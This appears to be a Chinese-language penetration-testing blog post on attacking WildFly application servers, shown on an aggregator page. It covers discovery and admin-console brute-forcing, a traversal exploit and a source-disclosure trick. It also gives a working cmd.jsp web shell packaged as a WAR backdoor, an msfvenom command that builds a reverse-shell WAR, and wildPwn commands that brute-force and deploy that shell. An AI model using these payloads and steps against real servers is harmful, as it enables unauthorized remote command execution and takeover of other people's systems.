Quantcast
Channel: 勾陈安全实验室 - 2017年12月
Viewing all articles
Browse latest Browse all 2

Hacking WildFly

$
0
0

前言

前段时间做项目碰到的,研究了下。一些拙见,欢迎指正-:)

简介

Wildfly是一个基于Java的应用服务器,Wildfly是Redhat在2013年为JBoss AS项目起的新名称。改名后的首个版本为WildFly8,目前已经发布到了11.0.0.Final版本。这里不得不提JBoss EAP:

  • JBoss EAP < 7 (Wildfly < 10)
  • JBoss EAP >=7 (Wildfly >= 10)

了解更多:http://www.wildfly.org

服务发现与爆破

发现

Wildfly的默认端口为8080 ,Administrator Console的端口为9990 。可以匿名登录,服务识别可以使用Nmap或者其他同类型的工具扫描指定端口即可。

Nmap NSE脚本:

nmap ‐‐script wildfly‐detect 127.0.0.1

wildfly-detect.png

OpenVAS识别WildFly及其版本的脚本:http://plugins.openvas.org/nasl.php?oid=111036

爆破

使用Nmap NSE脚本:

nmap ‐p 9990 ‐‐script wildfly‐brute ‐‐script‐args "userdb=user.txt,passdb=pass.txt,hostname=domain.com" <target>

wildfly-brute.png

漏洞

Wildfly发布至今也未出现什么重大漏洞,少有几个RCE也没用公开能利用的PoC。

其中有个WildFly 8.1.0.Final目录遍历漏洞(CVE-2014-7816)的MetaSploit模块:

msf > use auxiliary/scanner/http/wildfly_traversal
msf auxiliary(wildfly_traversal) > show actions
msf auxiliary(wildfly_traversal) > set ACTION <action‐name>
msf auxiliary(wildfly_traversal) > show options
msf auxiliary(wildfly_traversal) > run

OpenVAS的JBoss WildFly Application Server RCE检测脚本:http://plugins.openvas.org/nasl.php?oid=806623看了下是受Java反序列化漏洞影响的一些版本。

还有个9.0.0.CR2之前的WildFly 9.x版本Undertow模块和10.0.0.Alpha1之前的10.x版本可以通过在URL末尾添加/来获取JSP页面源码的漏洞:https://stackoverflow.com/questions/30028346/with-trailing-slash-in-url-jspshow-source-code

http://localhost:8080/TaskManager/login.jsp/

WAR Backdoor&部署

WAR Backdoor

Wildfly并不能像Tomcat一样利用部署WAR后门,也无法使用Tomcat或Glassfish类型的.WAR后门文件。阅读官方文档之后发现Wildfly所使用的的WAR文件需要存在WEB-INF目录并且在WEB-INF目录下创建个自定义的jbossweb.xml文件,jboss-web.xml文件必须包含如下内容:

<?xml version="1.0" encoding="UTF‐8"?>
<jboss‐web xmlns="http://www.jboss.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance" xsi:schemaLocation="
http://www.jboss.com/xml/ns/javaee http://www.jboss.org/j2ee/schema/jboss‐web_5_1.xsd">
<context‐root>/WebShell</context‐root>
</jboss‐web>

其中<context-root>标签为应用程序目录,则上传部署完WAR文件之后访问的路径为:

http://127.0.0.1:8080/shellDirectory/shell.jsp

这里我们可以利用cmd.jsp来制作WAR文件,方便绕过一些WAF还有IDS:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println(request.getParameter("cmd"));
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>

MetaSploit:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=445 -f war > reverse-shell.war

部署

获得凭证后登陆Administrator Console选择Deployments选项卡 - Add上传部署并Enable启用,这边演示的是9.0.0版本:

1712211917ee775b7e7fbfd781.png

版本直接有少许差异,找到Deployments选项卡即可。

工具

爆破

python wildPwn.py ‐m brute ‐‐target <TARGET> ‐user <USERNAME LIST> ‐pass <PASSWORD LIST>

wildpwn.png

部署反弹Shell

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

wildpwn (1).png

References


Viewing all articles
Browse latest Browse all 2

Latest Images

Trending Articles



Latest Images